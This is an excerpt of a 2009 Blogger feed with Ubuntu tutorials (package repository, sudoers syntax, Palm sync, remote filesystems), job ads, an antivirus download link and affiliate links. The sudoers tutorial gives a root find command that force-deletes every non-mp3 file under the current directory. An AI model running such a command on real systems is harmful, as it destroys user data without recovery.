width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-894571992546089017</id><published>2009-06-20T23:12:00.001+07:00</published><updated>2009-06-20T23:17:55.572+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Create Your Own Package Repository</title><content type='html'>Create and manage a package repository for distributing your own Ubuntu packages. &lt;br /&gt;Ubuntu uses online package repositories to locate available software and then download it to your computer for installation. If you create your own Ubuntu packages, you can install them directly using dpkg, but that's not very convenient when you want to make your packages publicly available or install them on a large number of computers. The solution is to build your own package repository, just like the ones used to distribute the official Ubuntu packages, and populate it with your own custom packages. Once your packages have been published in a repository, anyone can then use it to install your packages using any of the standard package-management tools such as apt, Synaptic, or Adept. All they need to do is add the address of your repository to their system.&lt;br /&gt;This also makes it much easier for users of your software to stay up-to-date because their system will be able to automatically detect new versions of your packages and ask them if they want to update.&lt;br /&gt;Anatomy of a Repository&lt;br /&gt;An Ubuntu package repository is actually quite simple. In its simplest form, it can be just a number of packages placed on a web or FTP server along with a special Packages.gz file that describes them. Each package is a self-contained .deb file that can be downloaded and installed on a computer, while the Packages file acts as a directory for the packages in that particular repository and includes information about each package such as the name, description, version, dependencies, name of the maintainer, and location of the actual package files. By fetching the Packages files from various repositories, Ubuntu can provide the user with a list of available packages and their descriptions, and determine dependencies without having to download each package individually. For a small repository, the .deb and Packages files are pretty much all you need to provide, and setting up everything is quite simple.&lt;br /&gt;Larger repositories often include additional files and are structured differently to make them more efficient. For example, some larger repositories place packages into subdirectories named after the first letter of the package name, rather than just lumping them all in the same directory: audacity and aumix go into an a/ subdirectory, blam goes into b/, and so on. That way no single directory contains too many files, and the performance of the server's filesystem doesn't become a bottleneck. That's not generally a problem until you have many thousands of packages, though, so unless you're setting up an extremely large repository, it's not something you should have to worry about.&lt;br /&gt;Some large repositories also implement package pools. Pools are a way to save disk space and processor time when you have multiple repositories that share some of the same packages. This is the case with the official Debian repositories, for example, where some packages can exist in exactly the same version in two or more of the Experimental, Unstable, Testing, and Stable repositories at the same time. Pools allow all packages in all versions to be stored in the same big directory structure on the server, and each repository then acts as a sort of virtual index that lists or links to only the packages that are intended to be available in it. The Packages file for each of the repositories therefore references just a subset of the packages in the total package pool.&lt;br /&gt;Getting Started&lt;br /&gt;To create your own repository, first you need to create the software packages themselves). Install the packages manually on your local system and make sure they function correctly before you try publishing them in a repository.&lt;br /&gt;You will also need some web-hosting space on either a server that you run or web space provided by a hosting company. In any case, the repository needs to have a consistent address so that other computers know where to find it. You could just use the server's IP address, but ideally it should have a hostname set up properly in DNS.&lt;br /&gt;The main trick to maintaining a repository is generating the Packages file properly, and there are a number of tools to help you do so simply and consistently. The tool you'll use for this hack is apt-ftparchive, a simple program that you can run whenever you want to update your repository. It's best suited to manually maintaining a small-to-medium number of packages in a simple repository. Other tools you can consider include mini-dinstall, which runs as a daemon and automatically handles new packages as they are uploaded to a special incoming directory, and dpkg-scanpackages, which is run manually. The granddaddy of all repository managers is dinstall itself, which is designed to run very large repositories, such as the official Debian package servers, with tens of thousands of packages.&lt;br /&gt;apt-ftparchive is part of the apt-utils package, so the very first thing to do is install apt-utils:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install apt-utils&lt;br /&gt;            &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Next, you need to create a directory inside your web server's document root to store the packages. You could just create a single directory and put everything in there, but for future flexibility, it's a good idea to also create a subdirectory to allow you to have subsets of packages. This is typically used to publish packages built against different releases, such as different versions of the same package for Dapper and Breezy. In this example, you'll create a subdirectory for Dapper packages, but you can name it something else if you prefer. The repository should be in your web server's document root, so if your document root is /var/www (the standard location in Ubuntu), you could just run:&lt;br /&gt;&lt;br /&gt;# mkdir -p /var/www/ubuntu/dapper&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Now copy the .deb packages you want to serve into that directory. At this point, you should be able to access the packages by pointing a web browser at http://localhost/ubuntu/dapper/&lt;your_package&gt;.deb.&lt;br /&gt;Finally, open a shell and move into the ubuntu directory to execute apt-ftparchive and then compress the resulting Packages file:&lt;br /&gt;&lt;br /&gt;# cd /var/www/ubuntu&lt;br /&gt;# apt-ftparchive packages dapper &gt; dapper/Packages&lt;br /&gt;# gzip dapper/Packages&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;The packages argument tells apt-ftparchive to process packages it finds; dapper is the path to search, which in this case is the dapper subdirectory; and &gt; dapper/Packages redirects the output into a file called Packages, which is then compressed to make it download faster. Easy!&lt;br /&gt;At this point, you have a repository that you can access from other computers to install the packages you've just published, but first you need to tell them how to find it by adding a line to their /etc/apt/sources.list file. The entry should look something like:&lt;br /&gt;deb http://www.example.com/ubuntu dapper/&lt;br /&gt;&lt;br /&gt;where www.example.com is replaced by the actual address of your package server.&lt;br /&gt;Then run apt-get update, and you should see your repository being indexed along with the normal Ubuntu repositories, after which you can apt-cache search for your packages, and they should be reported as being available. With a simple apt-get install packagename, you can install any of the packages you've published.&lt;br /&gt;Update the Repository&lt;br /&gt;Created a new or updated package? No problem. Just copy it into the repository alongside the other packages and follow the steps described earlier to rerun apt-ftparchive and generate a new Packages file. Because updated packages have different filenames, you'll need to manually delete superseded packages prior to rerunning apt-ftparchive; otherwise, your repository will just keep getting bigger.&lt;br /&gt;Manage a Repository Without Shell Access&lt;br /&gt;While it's simplest to create your repository directly on the web server, it's certainly not essential. If you have access to web space by FTP but can't get shell access to the server, you can create a repository on your local computer following the instructions in this hack and then just use FTP to upload all the directories and files to the correct location on the server. Then, when you do an update to any of the packages in the repository, just rerun apt-ftparchive locally and then bring the copy on your web server up-to-date again by FTP. &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-894571992546089017?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/894571992546089017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/894571992546089017'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/06/create-your-own-package-repository.html' title='Create Your Own Package Repository'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7992773224069832403</id><published>2009-06-20T23:08:00.002+07:00</published><updated>2009-06-20T23:11:31.222+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>SAP HR Consultant Vacancy</title><content type='html'>Soltius Indonesia is formerly known as SDI Technologies and IMC. With this merger, Soltius Indonesia would be among the top 3 consulting companies in Indonesia and one of the largest on SAP consulting for business specific to Indonesia.&lt;br /&gt;&lt;br /&gt;Our vision is to be a global service enterprise, recognized by customers, competitors, investors, employees and community as a reliable and valued partner. Our trademark will be the innovation, initiative and teamwork of our people and our ability to anticipate and effectively to change and to create opportunity.&lt;br /&gt;&lt;br /&gt;As a Global Solution Provider, Soltius Indonesia forms strategic alliances and partnerships with Enterprise Resource Planning (SAP &amp; Microsoft Business Solution), Retail and Logistic, Finance and Banking, Customer Care &amp; Billing Solutions, Technology Infrastructure Services and Software Development.&lt;br /&gt;&lt;br /&gt;To support our future operation, we are looking for professionals fulfill the following positions: &lt;span style="font-weight:bold;"&gt;SAP HR Consultant&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;URGENTLY REQUIRED&lt;br /&gt;SAP Consultant:&lt;br /&gt;Senior HR Consultant&lt;br /&gt;General Requirements:&lt;br /&gt;&lt;br /&gt;·         Has experience minimum 4 full cycles as SAP HR Consultant.&lt;br /&gt;&lt;br /&gt;·         Minimum bachelor degree&lt;br /&gt;&lt;br /&gt;·         Must be able to work constructively in teams&lt;br /&gt;&lt;br /&gt;·         Strong interpersonal, communication and analytical&lt;br /&gt;&lt;br /&gt;·         Have high commitment to meet project's target and dateline&lt;br /&gt;&lt;br /&gt;·         Fluent in English both oral and written&lt;br /&gt;&lt;br /&gt;·         Willing to travel and have high flexibility on project allocation&lt;br /&gt;&lt;br /&gt;If you consider yourself as a strong and convincing personality with total dedication to quality and customer satisfaction, you are welcome to be part of Soltius family. Please put the position code in the subject of your email and kindly send your comprehensive application letter and resume to: &lt;a href="mailto:recruitment@soltius.co.id"&gt;recruitment@soltius.co.id&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Excellent opportunity and challenges as well as outstanding remuneration package will be offered. We regret that only short listed candidates will be notified.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7992773224069832403?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7992773224069832403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7992773224069832403'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/06/sap-hr-consultant-vacancy.html' title='SAP HR Consultant Vacancy'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-2309375667201003614</id><published>2009-06-20T23:02:00.002+07:00</published><updated>2009-06-20T23:08:12.510+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><category scheme='http://www.blogger.com/atom/ns#' term='AntiVirus'/><title type='text'>PCMAV Download</title><content type='html'>PC Media Edition magazine 06 / 2009 have released PCMAV 2.0b&lt;br /&gt;IMPROVED! Enhanced by identification database and cleaner 60 local virus/ foreign / new variant which reported disseminate in Indonesia including conflicker.&lt;br /&gt;Bug fixed at version of RTP Windows XP and Vista. Download, &lt;a href="http://www.ziddu.com/download/4770770/PCM4VV4lkyr13.rar.html" target="_blank"&gt;click here&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Another antivirus solution, &lt;a href="http://hemlet.6dantiv.hop.clickbank.net/?tid=81"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-2309375667201003614?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2309375667201003614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2309375667201003614'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/06/pcmav-download.html' title='PCMAV Download'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8859084846696340953</id><published>2009-05-18T21:09:00.000+07:00</published><updated>2009-05-18T21:11:00.460+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Limit Permissions with sudo</title><content type='html'>Limit Permissions with sudo&lt;br /&gt;&lt;br /&gt;Leverage Ubuntu's default sudo installation to allow fine-grained control over privileged access. &lt;br /&gt;If you have used a number of different Linux distributions in the past, one surprising thing you'll notice the first time you use Ubuntu is that it disables the root account. For most other distributions, the installer prompts you for root's password, and when you need to get work done as root, you log in or use the su command to become root, and type in root's password. Since Ubuntu's root user has no password by default, you must use the sudo command to run commands as root. sudo sets up a way to allow access to root or other user accounts with fine-grained controls over what a person can do as that user. Plus the way sudo works is that it prompts you for your password, not that of the other user you want to switch to. This allows an administrator the ability to grant particular types of root access to users on the system without them all knowing the root password.&lt;br /&gt;The default sudo configuration in Ubuntu is pretty basic and can be found in the /etc/sudoers file. Note that you must never edit this file using a standard text editor. You must use the visudo tool. visudo is required because it will perform extra validation on the sudoers file before you close it to make sure there aren't any syntax errors. This is crucial because a syntax error in a sudoers file could lock out all of the users on your system. Here are the roles defined in the default Ubuntu /etc/sudoers file:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;# User privilege specification&lt;br /&gt;root    ALL=(ALL) ALL&lt;br /&gt;&lt;br /&gt;# Members of the admin group may gain root privileges&lt;br /&gt;%admin  ALL=(ALL) ALL&lt;br /&gt;&lt;br /&gt;The first rule allows root to use sudo to become any other user on the system, and the second rule allows anyone who is a member of the admin group to run any command as root. So when you want to run a command as root on a default Ubuntu system, type sudo followed by the command to run. For instance if you wanted to run apt-get update as root, you would type:&lt;br /&gt;$ sudo apt-get update&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/etc/sudoers Syntax&lt;br /&gt;To fully explain the syntax of /etc/sudoers, we will use a sample rule and break down each column:&lt;br /&gt;jorge  ALL=(root) /usr/bin/find, /bin/rm&lt;br /&gt;&lt;br /&gt;The first column defines what user or group this sudo rule applies to. In this case, it is the user jorge. If the word in this column is preceded by a % symbol, it designates this value as a group instead of a user, since a system can have users and groups with the same name.&lt;br /&gt;The second value (ALL) defines what hosts this sudo rule applies to. This column is most useful when you deploy a sudo environment across multiple systems. For a desktop Ubuntu system, or a system where you don't plan on deploying the sudo roles to multiple systems, you can feel free to leave this value set to ALL, which is a wildcard that matches all hosts.&lt;br /&gt;The third value is set in parentheses and defines what user or users the user in the first column can execute a command as. This value is set to root, which means that jorge will be allowed to execute the commands specified in the last column as the root user. This value can also be set to the ALL wildcard, which would allow jorge to run the commands as any user on the system.&lt;br /&gt;The last value (/usr/bin/find, /bin/rm) is a comma-separated list of commands the user in the first column can run as the user(s) in the third column. In this case, we're allowing jorge to run find and rm as root. This value can also be set to the ALL wildcard, which would allow jorge to run all commands on the system as root.&lt;br /&gt;Show It's Working&lt;br /&gt;To take advantage of his sudo role, jorge would use the sudo command on the command line followed by the program to execute:&lt;br /&gt;jorge@ubuntu:~$ sudo find . ! -name '*.mp3' -exec rm -f \\{\\} \\;&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;If jorge tried to run a command other than find or rm, sudo would fail with a warning that he is not allowed to run that command as root.&lt;br /&gt;You can use sudo to run commands as users other than root. If you don't specify a user, sudo defaults to the root user, but you can use the -u flag to designate a particular user to run as:&lt;br /&gt;&lt;br /&gt;$ sudo -u fred ls /home/fred&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;As you can see, these rules allow you to create specific roles on a system. For instance, you might want to designate a group of administrators as account administrators. You don't want these users to have full root access, but you do want them to be able to add and remove users from the system. for more information on user and group management under Ubuntu). Then you could use visudo to add the following line to /etc/sudoers:&lt;br /&gt;%accounts  ALL=(root) /usr/sbin/useradd, /usr/sbin/userdel, /usr/sbin/usermod&lt;br /&gt;&lt;br /&gt;Now any member of the accounts group can run useradd, userdel, and usermod. If you found there were other tools this role needed to access, you could simply add them to the end of the list.&lt;br /&gt; &lt;br /&gt;Notice that when we define particular commands a user can run, we list the full path to the command. This is for security reasons. If, for instance, we just put useradd instead of /usr/sbin/useradd, the user could create her own script called useradd that did whatever she wanted and put it in her local path. Then she would be able to essentially run any command she wanted as root via that local useradd script.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another handy feature of sudo is the ability to specify commands that don't require a password to run. This is useful if you need to run certain commands as root within a script noninteractively. For instance, you may want a user to be able to run the kill command as root without requiring a password (so the user can quickly kill a runaway process, for instance). To enable this privilege, add the NOPASSWD: attribute before the command list. To grant this ability to our jorge user, we would add the following line to /etc/sudoers:&lt;br /&gt;&lt;br /&gt;jorge   ALL=(root) NOPASSWD: /bin/kill, /usr/bin/killall&lt;br /&gt;&lt;br /&gt;Then jorge could run:&lt;br /&gt;jorge@ubuntu:~$ sudo killall rm&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;to quickly kill a runaway rm process as root.&lt;br /&gt;Enable the root Account&lt;br /&gt;So sudo is all well and good, but what if you just want to go back to an enabled root account that you access with su? Essentially, all you need to do is set the root password:&lt;br /&gt;&lt;br /&gt;$ sudo passwd root&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Now you should be able to log in directly as root, as well as use su.&lt;br /&gt;sudo is an incredibly powerful tool, and this hack covers only some of the configurations that might be useful to a desktop user. If you want to deploy sudo across an enterprise, check out the sudoers manpage (man 5 sudoers) to see examples of how to configure a number of aliases to define user groups, groups of users to run commands as, host aliases, and command aliases. This modular approach to defining roles really comes in handy when deploying across a large number of computers. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8859084846696340953?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8859084846696340953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8859084846696340953'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/05/limit-permissions-with-sudo.html' title='Limit Permissions with sudo'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-6888280405918056136</id><published>2009-05-18T20:44:00.002+07:00</published><updated>2009-05-18T20:48:25.403+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>IT Vacancy</title><content type='html'>The Global Nusantara School's curriculum is both innovative and academically rigorous. We offer Early Years, Primary and Secondary Programme.&lt;br /&gt;Global Nusantara School is committed to attain International Academic Standard which students can go anywhere in the world and still keep up with the schools standard.&lt;br /&gt;Due to the growth of our school, we are seeking qualified, enthusiastic and committed&lt;br /&gt;Teachers to join our winning team in Jakarta - Indonesia&lt;br /&gt;&lt;br /&gt;Responsibility :&lt;br /&gt;&lt;br /&gt;      Capable for troubleshoot windows operating system&lt;br /&gt;      Capable for troubleshoot Microsoft office&lt;br /&gt;      Capable for troubleshoot hardware desktop and laptop&lt;br /&gt;      Understand networking protocol  &lt;br /&gt;&lt;br /&gt;Qualification :&lt;br /&gt;&lt;br /&gt;      D3/S1, Fresh Graduates are welcome&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;      Min graduate from Associate Degree in IT with minimum 2 year experiences&lt;br /&gt;If you meet the above requirement, please send your application letter with curriculum vitae recent photograph to : &lt;a href="mailto:gns.hrd@gmail.com"&gt;gns.hrd@gmail.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-6888280405918056136?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6888280405918056136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6888280405918056136'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/05/it-vacancy.html' title='IT Vacancy'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5326263067764497522</id><published>2009-04-23T11:48:00.001+07:00</published><updated>2009-04-23T11:50:15.653+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Sync Your Palm PDA</title><content type='html'>Your Palm OS handheld can join in on the Ubuntu fun. Learn how to install applications on your Palm or Treo, keep it in sync with Evolution, and back it up. &lt;br /&gt;Getting a Palm OS PDA to synchronize with Linux has usually involved some amount of effort, and some pain installing and configuring the necessary software. The folks working on Ubuntu have made it easy, however. Ubuntu includes all the software necessary to synchronize your Palm with Evolution and do almost everything you've done under Windows.&lt;br /&gt;&lt;br /&gt;Configuring Palm Synchronization&lt;br /&gt;&lt;br /&gt;Since the Ubuntu and Evolution developers included the gnome-pilot package in Ubuntu, there's no software that needs to be installed. Everything you need is on your system; it just needs to be configured to sync with your Palm.&lt;br /&gt;To begin the configuration process, start Evolution, click on the Edit menu, and select Synchronization Options. &lt;br /&gt;Next, gnome-pilot displays the Cradle Settings dialog. Put values corresponding to your Palm and your system in this dialog box. For instance, USB-equipped Palms will probably sync using port /dev/ttyUSB0 and a speed of 115200, and they will require the USB radio button to be selected. Older, serial Palms will probably need the port set to /dev/ttyS0 and a speed of 57600, and they will need the Serial radio button selected. Click on Forward to continue.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Now it's time to identify the Palm. If you've synchronized your Palm with another PC or operating system before, select "Yes, I've used sync software with this pilot before." If you have never synchronized your Palm, select "No, I've never used sync software with this pilot before." If you select No, ensure that your User Name is set to something you'd like the Palm to have embedded in it. The ID string doesn't require any changes or editing. Click on Forward to move to the next step (initial sync).&lt;br /&gt;At this point, you'll be prompted to press the Hotsync button on your Palm. Press it, and you should hear a couple of quick beeps from the Palm. Click Forward to move on to the next step.&lt;br /&gt;The next screen will asks you to enter a descriptive name for your Palm and a directory path. It defaults to MyPilot; you can leave it at the default or change it as we have.&lt;br /&gt;You're now done configuring the Palm sync method. Click on the Apply button commit the configuration.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5326263067764497522?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5326263067764497522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5326263067764497522'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/04/sync-your-palm-pda.html' title='Sync Your Palm PDA'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8674881254539680339</id><published>2009-04-23T11:39:00.002+07:00</published><updated>2009-04-23T11:47:33.985+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><category scheme='http://www.blogger.com/atom/ns#' term='Anonymouse'/><title type='text'>Vacancy PHP Programmer</title><content type='html'>FlowerAdvisor came about as a result of a prominent absence of a single strong brand in Asia for International Flower Delivery. Online users found it a struggle to discover a trusted 24 hour delivery flower site which can be replied upon to send flowers, hampers and gifts to their loved ones anywhere in the world.&lt;br /&gt;&lt;br /&gt;Although there are plenty of talented local florists, most are not keen to spend millions on infrastructure to build a stable and secure site that enables and manages E-commerce transaction. To make matters worse, Asia &amp; Europe has also one of the largest E-commerce frauds which make many users very skeptical of small sites.&lt;br /&gt;&lt;br /&gt;With the expertise of our shareholders: JobsDB with its hotline expertise; 88DB with its classifieds and Streetdirectory.com with its massive online audience, portal management and E-commerce expertise, Robert J Steiner was commissioned to set up FlowerAdvisor in late 2006.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Responsibility :&lt;br /&gt;&lt;br /&gt;Software Engineers to design and develop Product/new feature in website application&lt;br /&gt;&lt;br /&gt;Requirement :&lt;br /&gt;&lt;br /&gt;Graduated Diploma/Bachelor Degree of Computer Science/ Information Technology or equivalent&lt;br /&gt;&lt;br /&gt;Proficient with PHP, MySQL and JavaScript&lt;br /&gt;&lt;br /&gt;Strong knowledge in OOP&lt;br /&gt;&lt;br /&gt;Experienced min. 1 years (fresh graduate are welcome to apply)&lt;br /&gt;   &lt;br /&gt;Posses good analytic thinking &amp; communication skill, problem solving, strong programming concept and a team player&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Email : hr@floweradvisor.com &lt;br /&gt;&lt;br /&gt;source : &lt;a href="http://id.jobsdb.com/id/EN/job.asp?R=JDBID028948282" target="_blank"&gt;jobsdb&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;for another something else likely small business, &lt;a href="http://hemlet.smallbiz11.hop.clickbank.net/"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8674881254539680339?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8674881254539680339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8674881254539680339'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/04/vacancy-php-programmer.html' title='Vacancy PHP Programmer'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-4903196541905438813</id><published>2009-03-25T08:50:00.001+07:00</published><updated>2009-03-25T08:54:57.283+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Access Remote Filesystems</title><content type='html'>Let's face it: sometimes it's difficult to fit all of the files you need on a single computer. Whether they be Windows shares at your office, FTP servers somewhere on the Internet, or even machines on the network running SSH, you can access all of these servers and more from the Ubuntu desktop with a few clicks.&lt;br /&gt;The key to connecting to remote filesystems is the "Connect to Server" dialog window. Click Places “Connect to Server” to see the default window&lt;br /&gt;There are a number of different connection types the dialog supports. shows the options available from the drop-down menu. Apart from a few specific options, each of these connection types shares the same sorts of options. The top of the window requests the location of the server (a hostname or IP address), and then below that is a list of nonessential options you can configure. For instance, you can give each of your connections custom names so that they are easier to tell apart from each other.&lt;br /&gt;Connecting to a Windows share is a good example of how to use the "Connect to Server" dialog. First, select "Windows share" from the drop-down menu. Then, fill in the name of the server you want to connect to and, optionally, the name of the share you want to connect to. If your network requires authentication, you can also configure the username and domain name in this window. Once you have configured the share, click the Connect button. A new icon for this share will then appear on your desktop. Double-click that icon to open the Nautilus file browser to that share.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;If you aren't quite sure about the settings for your Windows share, you can also click Browse Network to search the local network for any available Windows shares.&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;One of the more interesting abilities of the "Connect to Server" dialog is to connect to remote SSH servers and share files over SFTP. Not only does this mean that you don't have to configure any special file sharing on the remote machine, but any machine that runs SSH is now also a file share you can access. What's more, all of the communication is sent over an encrypted channel.&lt;br /&gt;To connect to a remote SSH server, select SSH from the "Service type" drop-down menu. you can see a sample window filled out with information to connect to a server on the network. By default, the SSH connection will open into the / directory, but you can change that to any directory you wish in the Folder field. If you needed to connect to the remote server as a different user, you could also specify that in this window. Finally, you can give this share a custom name that will appear both on its icon in the desktop and in the sidebar of the file browser.&lt;br /&gt;Once you click Connect, a new icon appears on the desktop, and if you double-click it, you can access all of the photos on the remote server.. You can then drag and drop them to and from the local machine as you do with any other directory&lt;br /&gt;If you decide that you no longer want to access a particular share, just right-click on its icon on the desktop and select Unmount Volume. Otherwise, file shares will appear both in the sidebar of your file manager and in the Places Network Servers window. &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-4903196541905438813?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4903196541905438813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4903196541905438813'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/03/access-remote-filesystems.html' title='Access Remote Filesystems'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 